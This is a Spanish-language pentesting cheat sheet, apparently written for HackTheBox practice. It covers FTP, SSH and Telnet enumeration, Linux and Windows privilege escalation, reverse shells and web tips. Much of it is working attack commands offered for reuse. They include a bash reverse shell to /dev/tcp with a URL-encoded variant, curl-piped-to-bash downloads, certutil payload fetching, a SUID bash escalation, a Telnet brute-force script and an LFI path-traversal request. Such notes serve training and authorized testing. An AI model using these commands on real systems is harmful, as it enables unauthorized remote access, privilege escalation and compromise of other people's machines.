Notas de Pentesting

En esta ocasión, voy a mostrar unas cosillas que nos pueden ser útiles para nuestras pruebas de penetración. Puedes probarlas cuando estés en HackTheBox o no se, incluso, en Active Directory.

ACTUALIZADO: 21/05/2023

PENDIENTE ACTUALIZACIÓN






Puertos y Servicios


Puerto 21 - Servicio FTP

El Protocolo de transferencia de archivos (FTP), es un protocolo de red estándar utilizado para la transferencia de archivos informáticos entre un cliente y un servidor en una red informática.

Es un protocolo de texto sin formato que utiliza como carácter de nueva línea 0x0d 0x0a, por lo que a veces es necesario conectarse mediante Telnet o nc -C

Este se encuentra en el Puerto 21 por TCP.


Entrar en el Servicio

Para entrar:

ftp IP_De_La_Máquina

En caso de tener acceso como usuario Anonymous

ftp IP_De_La_Máquina
user: anonymous
passwd: anonymous / presiona enter


Comandos Útiles

  • help Para saber los comandos que puedes usar, no siempre puedes usar todos.
  • ls, dir Ver archivos y ver todos los archivos.
  • cd Moverse entre directorios
  • pwd Muestra donde te encuentras.
  • mkdir Para crear un directorio.
  • rmdir Para eliminar un directorio
  • get, mget Copia un archivo (o varios archivos) del directorio de trabajo remoto al directorio de trabajo local.
  • put, mput Copia un archivo (o varios archivos) del directorio de trabajo local al directorio de trabajo remoto.
  • delete, mdelete Elimina un archivo (o varios archivos) del directorio de trabajo remoto.
  • exit, bye Para salir del servicio.
  • binary Para entrar en modo binario y poder descargar ejecutables, comprimidos, imagenes, ficheros de sonido, etc.
  • ascii Para entrar en modo ASCII y poder descargar ficheros o documentos, es el modo por defecto que tiene FTP.

Aquí puedes encontrar más información:

  • https://docs.oracle.com/cd/E24842_01/html/E22524/remotehowtoaccess-14.html
  • https://www.uv.es/bombinp/ftp.html


Datos de Interés


Archivos de configuración FTP

  • ftpusers
  • ftp.conf
  • proftpd.conf
  • vsftpd.conf


Banner Grabing

Técnica utilizada para obtener información sobre un sistema informático en una red y los servicios que se ejecutan en sus puertos abiertos.

nc -vn <IP> 21
openssl s_client -connect dominio_O_IP:21 -starttls ftp #Obtiene el certificado si es que existe.


Descargar todos los archivos del FTP

De esta forma, podemos descargar todos los archivos del servicio FTP, pero esto puede tardar demasiado y la descargar puede resultar dañada. Por lo que es mejor entrar y analizar:

wget -m ftp://anonymous:anonymous@IP	 #Descarga todos los archivos
wget -m --no-passive ftp://anonymous:anonymous@IP 	#Descarga todos los archivos


Post Explotación

La configuración predeterminada de vsFTPd se puede encontrar en /etc/vsftpd.conf. Aquí, puedes encontrar algunas configuraciones peligrosas:

  • anonymous_enable=YES
  • anon_upload_enable=YES
  • anon_mkdir_write_enable=YES
  • anon_root=/home/username/ftp - Directorio para anonymous.
  • chown_uploads=YES - Cambia la propiedad de los archivos subidos de forma anónima (anonymous).
  • chown_username=username - Usuario a quien se otorga la propiedad de los archivos subidos de forma anónima (anonymous).
  • local_enable=YES - Permite que los usuarios locales inicien sesión
  • no_anon_password=YES - No pide contraseña al usuario anonimo (anonymous).
  • write_enable=YES - Permite los comandos: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, y SITE.

Aquí puedes encontrar más información sobre como explotar el servicio FTP:

  • https://book.hacktricks.xyz/network-services-pentesting/pentesting-ftp

Puerto 22 - Servicio SSH

SSH, Secure Shell o Secure Socket Shell, es un protocolo de red que brinda a los usuarios una forma segura de acceder a una computadora a través de una red no segura.

Este se encuentra en el Puerto 22 por TCP.


Entrar al Servicio

Para entrar al serivicio, necesitamos un usuario y una IP:

ssh Usuario@IP

Si tienes una llave privada, puedes entrar al servicio, usando ese archivo de la llave privada:

ssh -i id_rsa Usuari@IP

Normalmente, estas llaves se encuentran en un directorio oculto llamado .ssh y con el nombre id_rsa.


Comandos Útiles

Aquí se utilizan los mismos comandos que se usan en un sistema Linux, por lo que poner que comandos sirven es inútil.


Descargar/Ejecutar Archivos en Servicio SSH/Linux

Hay varias formas en las que podemos descargar o usar un servicio SSH o en Linux, para hacerlo, deberías abrir un servidor en Python:

python3 -m http.server   
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...


Descargando Archivo

  • Ahora descargamos el archivo, como ejemplo usaremos la Reverse Shell de PHP:
    wget Tu_IP:8000/php-reverse-shell.php
    


Ejecutando un Archivo con curl

  • Si queremos ejecutar un archivo como linpeas.sh, aquí usamos el puerto 80 del servidor de Python, puedes especificar el puerto o no:
    curl Tu_IP:80/linpeas.sh | sh
    
  • También con curl puedes ejecutar un archivo Bash, esto puede servir para obtener una shell:
    curl Tu_IP/arhcivo | bash
    


Exploits/Herramientas Útiles

Te dejo estos links con información útil para explotar el servicio SSH:

  • https://exploit-notes.hdks.org/exploit/network/protocol/ssh-pentesting/
  • https://book.hacktricks.xyz/network-services-pentesting/pentesting-ssh


Enumeración de Usuarios SSH

Existe un Exploit que nos sirve para enumerar usuarios, este unicamente sirve para versiones OpenSSH < 7.7, ósea versiones menores a 7.7.

Este Exploit es el: OpenSSH < 7.7 - User Enumeration (2) que tiene el ID: CVE-2018-15473.

searchsploit ssh enum
---------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                      |  Path
---------------------------------------------------------------------------------------------------- ---------------------------------
OpenSSH 2.3 < 7.7 - Username Enumeration                                                            | linux/remote/45233.py
OpenSSH 2.3 < 7.7 - Username Enumeration (PoC)                                                      | linux/remote/45210.py
OpenSSH 7.2p2 - Username Enumeration                                                                | linux/remote/40136.py
OpenSSH < 7.7 - User Enumeration (2)                                                                | linux/remote/45939.py
OpenSSHd 7.2p2 - Username Enumeration                                                               | linux/remote/40113.txt
---------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

Para usar este Exploit, necesitas Python2.


Herramienta linpeas.sh

Esta herramienta sirve para ver las vulnerabilidades que tiene el servicio SSH que usa la máquina o incluso el sistema Linux. Es parte del kit de herramientas PEASS-ng, estas son herramientas que pueden mostrar vulnerabilidades en una máquina.

Puedes descargarla desde aquí:

Y aquí te muestra como usarla:

Puerto 23 - Servicio Telnet

Telnet es un protocolo de red que brinda a los usuarios una forma NO segura de acceder a una computadora a través de una red.

Este se encuentra en el Puerto 23 por TCP.


Entrar al Servicio

Para entrar al servicio, necesitamos una IP, especificar el puerto 23 y una contraseña:

telnet IP 23

Ejemplo:

telnet 10.10.11.107 23                                       
Trying 10.10.11.107...
Connected to 10.10.11.107.

HP JetDirect

Password:


Datos de Interés

A veces, este servicio estara configurado para correr ciertos comandos, en la máquina Antique, el servicio Telnet, estaba configurado para ejecutar cualquier comando, de esta forma pudimos loguearnos de manera remota, así que debes analizar bien si es el caso cuando te encuentres con uno:

telnet 10.10.11.107 23                                       
Trying 10.10.11.107...
Connected to 10.10.11.107.
Escape character is '^]'.

HP JetDirect

Password: P@ssw0rd@123!!123

Please type "?" for HELP
> ?

To Change/Configure Parameters Enter:
Parameter-name: value <Carriage Return>

Parameter-name Type of value
ip: IP-address in dotted notation
subnet-mask: address in dotted notation (enter 0 for default)
default-gw: address in dotted notation (enter 0 for default)
syslog-svr: address in dotted notation (enter 0 for default)
idle-timeout: seconds in integers
set-cmnty-name: alpha-numeric string (32 chars max)
host-name: alpha-numeric string (upper case only, 32 chars max)
dhcp-config: 0 to disable, 1 to enable
allow: <ip> [mask] (0 to clear, list to display, 10 max)

addrawport: <TCP port num> (<TCP port num> 3000-9000)
deleterawport: <TCP port num>
listrawport: (No parameter required)

exec: execute system commands (exec id)
exit: quit from telnet sessio

Como puedes ver, ahi dice que con exec puedes ejecutar cualquier comando.


Archivos de configuración Telnet

  • /etc/inetd.conf
  • /etc/xinetd.d/telnet
  • /etc/xinetd.d/stelnet


Banner Grabing

Técnica utilizada para obtener información sobre un sistema informático en una red y los servicios que se ejecutan en sus puertos abiertos.

nc -vn <IP> 23


Enumeración de Servicio Telnet con NMAP

Para hacer un escaneo que muestre información sobre telnet, usamos la siguiente linea de comando:

nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>

El script telnet-ntlm-info.nse obtendrá información de NTLM (versiones de Windows). También podemos especificarlo por NMAP:

nmap --script telnet-ntlm-info -p 23 <target-ip>

Y si queremos aplicar fuerza bruta con NMAP:

nmap --script telnet-brute --script-args userdb=users.txt,passdb=passwords.txt,telnet-brute.timeout=8s -p 23 <target-ip>

Aquí te dejo más información:

Puerto 25 - Servicio SMTP

Puerto 139 - Servicio Samba

Puerto 445 - Servicio SMB




Linux


Shell Interactiva de Bash

Obtuviste acceso a una máquina, pero ¿quieres tener una terminal más interactiva de bash? Has lo siguiente:

  • Escribe el siguiente comando:
    script /dev/null -c bash
    
  • Presiona las teclas ctrl + z, debería aparecer el siguiente mensaje y luego la terminal de tu máquina:
    zsh: suspended  nc -nvlp 443
    
  • Ahora escribe el siguiente comando en tu máquina:
     stty raw -echo; fg       
    [1]  + continued  nc -nvlp 443
    
  • Escribe reset y te preguntará que tipo de terminal quieres, pon xterm:
    [1]  + continued  nc -nvlp 443
                                reset
    reset: unknown terminal type unknown
    Terminal type? xterm
    
  • Exportemos xterm, bash y cambiemos el tamaño de la terminal (este último es opcional, pero lo recomiendo):
    www-data@bashed:/var/www/html/dev$ export TERM=xterm
    www-data@bashed:/var/www/html/dev$ export SHELL=bash
    www-data@bashed:/var/www/html/dev$ stty rows 51 columns 189
    

    Y listo, ya tenemos nuestra terminal interactiva.

Shell Interactiva con Python

Esta opción la usamos cuando la forma de Bash no funciona, esta falla cuando sale el siguiente error:

lp@antique:~$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
This account is currently not available.
Script done, file is /dev/null

Ahora, para obtener la shell interactiva, hacemos lo siguiente:

  • Comprueba que versión de Python usa la máquina:
    lp@antique:~$ which python
    which python
    lp@antique:~$ which python3
    which python3
    /usr/bin/python3
    
  • Utiliza Python3 para crear una shell de bash:
    python3 -c 'import pty;pty.spawn("/bin/bash")'
    
  • Presiona ctrl + z y rápidamente escribe stty raw -echo; fg:
    lp@antique:~$ ^Z
    zsh: suspended  nc -nvlp 443
    stty raw -echo; fg
    
  • Ahora escribe reset xterm:
    stty raw -echo; fg
    [1]  + continued  nc -nvlp 443
                              reset xterm
    
  • Por último, exporta la TERM, SHELL y cambia el tamaño de la stty:
    lp@antique:~$ export TERM=xterm
    lp@antique:~$ export SHELL=bash
    lp@antique:~$ stty rows 51 columns 189
    

    Listo, ya tienes tu shell interactiva.

Conectarse Remotamente con Bash

Esta es una forma simple de conectarse remotamente en una máquina que usa Linux.

  • Vamos a usar el siguiente script:
    bash -c "bash -i >& /dev/tcp/Tu_IP/443 0>&1"
    
  • Si lo necesitas para una página web, debes url encodearlo cambiando los ampersands por %26.
    bash -c "bash -i >%26 /dev/tcp/Tu_IP/443 0>%261"
    

Escalar Privilegios con Chmod

¿Quieres escalar privilegios de forma sencilla? Usa chmod para hacerlo, aquí un par de ejemplos:

  • Si tienes privilegios como SUDO para chmod, solamente escribe el siguiente comando:
    chmod u+s /bin/bash
    
  • Si lo necesitas para un script en Python, solo escribe:
    os import
    chmod u+s /bin/bash
    
  • Ahora, escala privilegios con bash:
    ejemplo@test:$ bash -p
    bash-4.3# whoami
    root
    

Escalar Privilegios con Binarios SUID

Este blog, en inglés, explica algunas formas en las que puedes escalar privilegios, recomiendo que lo veas:




Windows


Descargar Archivos con Certutil Windows

¿Necesitas descargar archivos en una máquina víctima que usa Windows? Has lo siguiente:

  • En tu máquina, abre un servidor en Python en donde tengas el archivo que quieras cargar:
    python3 -m http.server                                                                     
    Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
    
  • Ve al directorio /Temp de la máquina Windows y crea una carpeta que se llame /privesc:
    c:\>cd Windows/Temp
    cd Windows/Temp
    c:\Windows\Temp>dir
    dir
     Volume in drive C has no label.
     Volume Serial Number is 5C03-76A8
     Directory of c:\Windows\Temp
    c:\Windows\Temp>mkdir Privesc
    mkdir Privesc
    c:\Windows\Temp>cd Privesc
    cd Privesc
    
  • Ahora dentro de /Privesc vamos a cargar el archivo que deseas con Certutil:
    c:\Windows\Temp\Privesc>certutil.exe -urlcache -split -f http://Tu_IP:8000/Archivo_que_quieres_cargar Nuevo_Nombre
    

Ejemplo:

c:\Windows\Temp\Privesc>certutil.exe -urlcache -split -f http://IP_Mia_xd:8000/MS10-059.exe MS10-059.exe

Abusar del Privilegio SeImpersonatePrivilege Windows

Si bien, hay Exploits para casi todo, podemos usar una herramienta para cuando te topes con este privilegio en una máquina Windows.

Usaremos Juicy Potato, aquí un link de como usarlo:

Si necesitas Juicy Potato para versiones viejas de Windows, aquí te pongo esta versión del Juicy llamada Churrasco:

Herramienta Windows Suggester

Esta herramienta nos sirve para ver a que Exploits es vulnerable la máquina Windows, para esto, necesitamos saber unas cosillas:

  • Primero necesitamos descargarla: Reposiorio de AonCyberLabs: Windows-Exploit-Suggester

  • Una vez descargada, seguimos las instrucciones del GitHub para generar una base de datos en archivo .xls:
    python2 windows-exploit-suggester.py --update
    [*] initiating winsploit version 3.3...
    [+] writing to file 2023-03-30-mssb.xls
    [*] done
    
  • Dentro de la máquina víctima, necesitamos la información del sistema:
    systeminfo
    
  • Guarda todo lo del systeminfo en un archivo .txt:
    nano sysinfo.txt
    
  • Ahora usa la herramienta, usando el archivo .txt y el archivo .xls:
    python2 windows-exploit-suggester.py --database 2023-03-30-mssb.xls -i sysinfo.txt
    [*] initiating winsploit version 3.3...
    [*] database file detected as xls or xlsx based on extension
    [*] attempting to read from the systeminfo input file
    [+] systeminfo input file read successfully (utf-8)
    [*] querying database file for potential vulnerabilities
    [*] comparing the 32 hotfix(es) against the 266 potential bulletins(s) with a database of 137 known exploits
    [*] there are now 246 remaining vulns
    [+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin
    [+] windows version identified as 'Windows 2012 R2 64-bit'
    [*] 
    [E] MS16-135: Security Update for Windows Kernel-Mode Drivers (3199135) - Important
    ...
    
  • Si no funciona la herramienta, has lo siguiente:
    pip2 install xlrd==1.2.0
    




Reverse Shells


Reverse Shell de PHP

¿Necesitas una Reverse Shell que sea hecha en PHP? Aquí tienes una:

  • Repositorio de pentestmonkey: php-reverse-shell

  • Así puedes clonarla:
    git clone https://github.com/pentestmonkey/php-reverse-shell.git
    Clonando en 'php-reverse-shell'...
    remote: Enumerating objects: 10, done.
    remote: Counting objects: 100% (3/3), done.
    remote: Compressing objects: 100% (2/2), done.
    remote: Total 10 (delta 1), reused 1 (delta 1), pack-reused 7
    Recibiendo objetos: 100% (10/10), 9.81 KiB | 1.23 MiB/s, listo.
    Resolviendo deltas: 100% (2/2), listo.
    
  • Recuerda que debes abrir el archivo y modificarlo para poner tu IP y un puerto que quieras.




Tips para Pentesting Web


Enumerando Puertos Internos con CURL

Digamos que tienes la forma de visualizar archivos internos de una máquina desde una aplicación web o página web, gracias a la inyección de comandos por LFI. Si puedes visualizar el archivo tcp del directorio /proc/net, puedes descubrir que puertos internos estan abiertos utilizando la herramienta CURL.

Para hacerlo, obtengamos una petición por el metodo GET con el parámetro -X. Como prueba, usaremos la máquina Tabby:

curl -s -X GET "http://megahosting.htb/news.php?file=../../../../../../../proc/net/tcp"
  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode                                                     
   0: 00000000:1F90 00000000:0000 0A 00000000:00000000 00:00000000 00000000   997        0 24968 1 0000000000000000 100 0 0 10 0                     
   1: 00000000:0050 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 22923 1 0000000000000000 100 0 0 10 0                     
   2: 3500007F:0035 00000000:0000 0A 00000000:00000000 00:00000000 00000000   101        0 21938 1 0000000000000000 100 0 0 10 0                     
   3: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 22903 1 0000000000000000 100 0 0 10 0                     
   4: C20A0A0A:0050 040E0A0A:B7D2 01 00000000:00000000 02:000AFC7F 00000000    33        0 32297 2 0000000000000000 166 4 30 10 21                   
   5: C20A0A0A:86BA 01010101:0035 02 00000001:00000000 01:000002E0 00000003   101        0 36768 2 0000000000000000 800 0 0 1 7

Vamos a usar solamente la columna del local_address, si la quieres seleccionar, presiona ctrl + alt y selecciona solo los resultados de esa columna (esto funciona en Kali, no se si funciona en otros SO) y reproduce el resultado con echo:

echo "00000000:1F90                                                               
00000000:0050        
3500007F:0035        
00000000:0016        
C20A0A0A:0050        
C20A0A0A:86BA"
00000000:1F90        
00000000:0050        
3500007F:0035        
00000000:0016        
C20A0A0A:0050        
C20A0A0A:86BA

Vamos a quedarnos solo con los números que estan después de los “:”, usaremos awk para obtener ese resultado y con sort vamos a ordenarlos:

echo "00000000:1F90        
00000000:0050        
3500007F:0035        
00000000:0016        
C20A0A0A:0050        
C20A0A0A:86BA" | awk '{print $2}' FS=":" | sort -u
0016        
0035        
0050        
1F90        
86BA

Resulta que estos números que obtuvimos, son hexadecimales y estan en little endian, por lo que si usamos una terminal de Python y los ponemos en su formato correspondiente, obtenedremos el número de un puerto:

python3                                                             
Python 3.11.2 (main, Feb 12 2023, 00:48:52) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0x0016
22
>>> 0x0035
53
>>> 0x0050
80
>>> 0x1F90
8080
>>> 0x86BA
34490
>>> exit()

Y listo, ya enumeraste puertos internos de una máquina.



  • https://book.hacktricks.xyz/network-services-pentesting/pentesting-ftp
  • https://docs.oracle.com/cd/E24842_01/html/E22524/remotehowtoaccess-14.html
  • https://www.uv.es/bombinp/ftp.html
  • https://github.com/carlospolop/PEASS-ng/releases/tag/20230409
  • https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS
  • https://exploit-notes.hdks.org/exploit/network/protocol/telnet-pentesting/
  • https://github.com/pentestmonkey/php-reverse-shell
  • https://www.hackingarticles.in/linux-privilege-escalation-using-suid-binaries/
  • https://binaryregion.wordpress.com/2021/06/14/privilege-escalation-windows-juicypotato-exe/
  • https://binaryregion.wordpress.com/2021/08/04/privilege-escalation-windows-churrasco-exe/


FIN